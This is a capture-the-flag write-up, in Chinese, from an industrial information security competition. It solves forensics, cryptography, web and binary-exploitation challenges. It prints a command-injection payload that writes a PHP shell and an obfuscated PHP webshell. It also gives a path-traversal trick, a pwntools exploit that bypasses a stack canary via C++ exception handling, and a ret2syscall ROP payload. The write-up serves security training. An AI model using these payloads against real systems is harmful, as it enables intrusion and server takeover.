第八届工业信息安全技能大赛复赛 信创安全挑战区部分

达梦数据库日志分析

image-20250109140924486

flag{hello_haikou}

入侵流量监测

ftp流量,传输了flag.zip和youWant.txt

image-20250109141016719

flag.zip带密码,youWant.txt内容base64解码得到

image-20250109141119592

It is said that many people like to use date as passwords.

日期,那就纯数字爆破

image-20250109141212343

20011212

解压得到flag

flag{WTNYWO1CYHDKN3PIOG}

国产办公软件漏洞利用

admin/123456进入后台

【通用设置】->【数据库】->【备份】处,可以利用【系统 MySQL Dump (Shell) 备份】进行任意文件写入

image-20250109160241679

抓包,点击备份

image-20250109161441242

filename参数存在漏洞,直接执行命令,发现flag在f12g.txt中,直接读取

%26echo%20"<?php%20highlight_file(__FILE__);echo(shell_exec('tac%20f12g.txt'));?>"%20>1.php%26

image-20250109165230928

国产业务系统隐患排查

分析流量找到后台密码

image-20250109141433408

hunterxhunter

登录后台

image-20250109141551011

【设计】->【已安装主题】->【自定义】->【全部页面】->【页头】,可写入php代码

image-20250109141717136

image-20250109141725790

写入webshell

<?php // 使用时请删除此行, 连接密码: 1 ?>
<?php $blyL=create_function(base64_decode('JA==').str_rot13('f').base64_decode('bw==').chr(27795/255).base64_decode('ZQ=='),str_rot13('r').base64_decode('dg==').str_rot13('n').str_rot13('y').chr(0x4e70/0x1f6).chr(01022-0756).chr(0x98bc/0x154).chr(312-201).base64_decode('bQ==').chr(0x9ca1/0x18d).chr(036722/0602).chr(516-457));$blyL(base64_decode('NjE0M'.'jAzO0'.'BldkF'.'sKCRf'.''.base64_decode('VQ==').chr(0200335/01671).base64_decode('OQ==').base64_decode('VA==').chr(01405-01257).''.''.chr(0x1bd-0x177).chr(0117754/0544).chr(0x70f8/0xf1).chr(0x238-0x1e0).chr(0511-0366).''.'k7MTg'.'0MjYw'.'OTs='.''));?>

image-20250109141945353

有验证,需要写入这个txt文件

【设计】->【组件】->【素材库】处可上传素材,touch这个txt文件,文件中随便写点东西

image-20250109142245488

上传

image-20250109142347393

image-20250109142412513

鼠标放上去点击编辑

image-20250109142422895

image-20250109142512507

此处可通过名称进目录穿越

需要到 /var/www/html/system/tmp/ymlg.txt

当前在 /var/www/html/www/data/source/default/default/ymlg.txt

修改名称为../../../../../../system/tmp/ymlg

image-20250109143224856

保存成功得到

image-20250109142808617

再回去点击我已创建,即可保存

image-20250109143257685

蚁剑连接

image-20250109143320971

权限不够直接读取flag,发现可以执行python

image-20250109143555007

with open("/flag.txt", "r") as f:
    print(f.read())

image-20250109143728270

flag{901efe4582}

manager

image-20250109151843712

C++菜单题

查看字符发现存在/bin/sh字符串,根据调用找到后门

image-20250109151859037

继续阅读菜单发现case 6很有意思

image-20250109151915326

有一个分数判定,当分数等于85.5进入一个函数

image-20250109151952386

跟进发现函数存在溢出,存在canary,但是可以结合上面的后门函数利用c++异常处理机制,来绕过canary,还原一下栈空间,保持当前函数的返回地址不变,再写入backdoor就可以劫持到后门

image-20250109152005478

from pwn import *

elf = ELF('./pwn')
#context.terminal = ['tmux','splitw']
context(log_level='debug',arch=elf.arch,os=elf.os)
# io = process('./pwn')
io = remote('10.10.200.22',54330)
libc = elf.libc
def debug():
	gdb.attach(io,gdbscript="")
	pause()
def get_addr():
	return u64(io.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
def get_sys():
	return libcbase + next(libc.search(b'/bin/sh\x00')), libcbase + libc.sym['system']
r		= lambda num			: io.recv(num)
ru		= lambda data			: io.recvuntil(data)
rl		= lambda			: io.recvline()
s		= lambda data 			: io.send(data)
sl		= lambda data 			: io.sendline(data)
sla		= lambda data,pay		: io.sendlineafter(data,pay)
uu64		= lambda size			: u64(io.recv(size).ljust(8,b'\x00'))
uu32		= lambda size			: u32(io.recv(size).ljust(4,b'\x00'))
itr 		= lambda 			: io.interactive()
li		= lambda x 			: print('\x1b[01;38;5;214m' + x + '\x1b[0m')

backdoor=0x40179A
bss = 0x60B1A0+0x200
sla(b'choice: ',str(1))
sla(b'ID: ',str(111))
sla(b'name: ',str(111))
sla(b'age: ',str(111))
sla(b'score: ',str(85.5))

sla(b'choice: ',str(6))

pay = b'a'*0x30+p64(bss)+p64(0x4017d5)+p64(0xdeadbeef)*0x5+p64(backdoor)
#debug()
sla(b'[!]Please exit the program', pay)
itr()

屏幕截图 2025-01-09 152330

flag{cd2caa0ec5}

信息隐藏技术

在备注里

image-20250110110626481

flag{70D49C5C}

数据库日志排查

简单看了一下是sql盲注的日志,查询了3个表的数据flag、iv、keyyy

image-20250110110402119

image-20250110110416633

image-20250110110437618

neta跑

image-20250110110113034

lag2:data~idkeyivflag~32e16caf6d5604c8850b87b7911aaf5e8bc3ce3c3c3a407c20f5236d4d8c8811~test789@@@@@@@##abc123keyxyzzzzzdata~idkeyivflag~32e16caf6d5604c8850b87b7911aaf5e8bc3ce3c3c3a407c20f5236d4d8c8811~test789@@@@@@@##abc123keyxyzzzzz

简单处理下,得到

flag:2e16caf6d5604c8850b87b7911aaf5e8bc3ce3c3c3a407c20f5236d4d8c8811
iv:test789@@@@@@@##
keyyy:abc123keyxyzzzzz

解AES

image-20250110110135844

flag{UN6B9PAOAF0ODOVJC}

snake

image-20250110115812548

输入q发现有栈溢出,发现程序存在base64解密,

rax=0x00000000004005af

rdi=0x00000000004006a6

rsi=0x00000000004113f3

rdx=0x000000000044cb86

syscall=0x0000000000449d25

bin=0x493c9b

pay=b'a'*0x78+p64(rax)+p64(0x3b)+p64(rdi)+p64(bin)+p64(rsi)+p64(0)+p64(rdx)+p64(0)+p64(syscall)

前面直接得两分输入q即可进入到栈溢出,然后直接ret2syscall即可获取shell

payloadbae64加密一下

YWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhrwVAAAAAAAA7AAAAAAAAAKYGQAAAAAAAmzxJAAAAAADzE0EAAAAAAAAAAAAAAAAAhstEAAAAAAAAAAAAAAAAACWdRAAAAAAAYWFhYWFhYQ==

image-20250110115301725

cat flag

image-20250110115443012

0%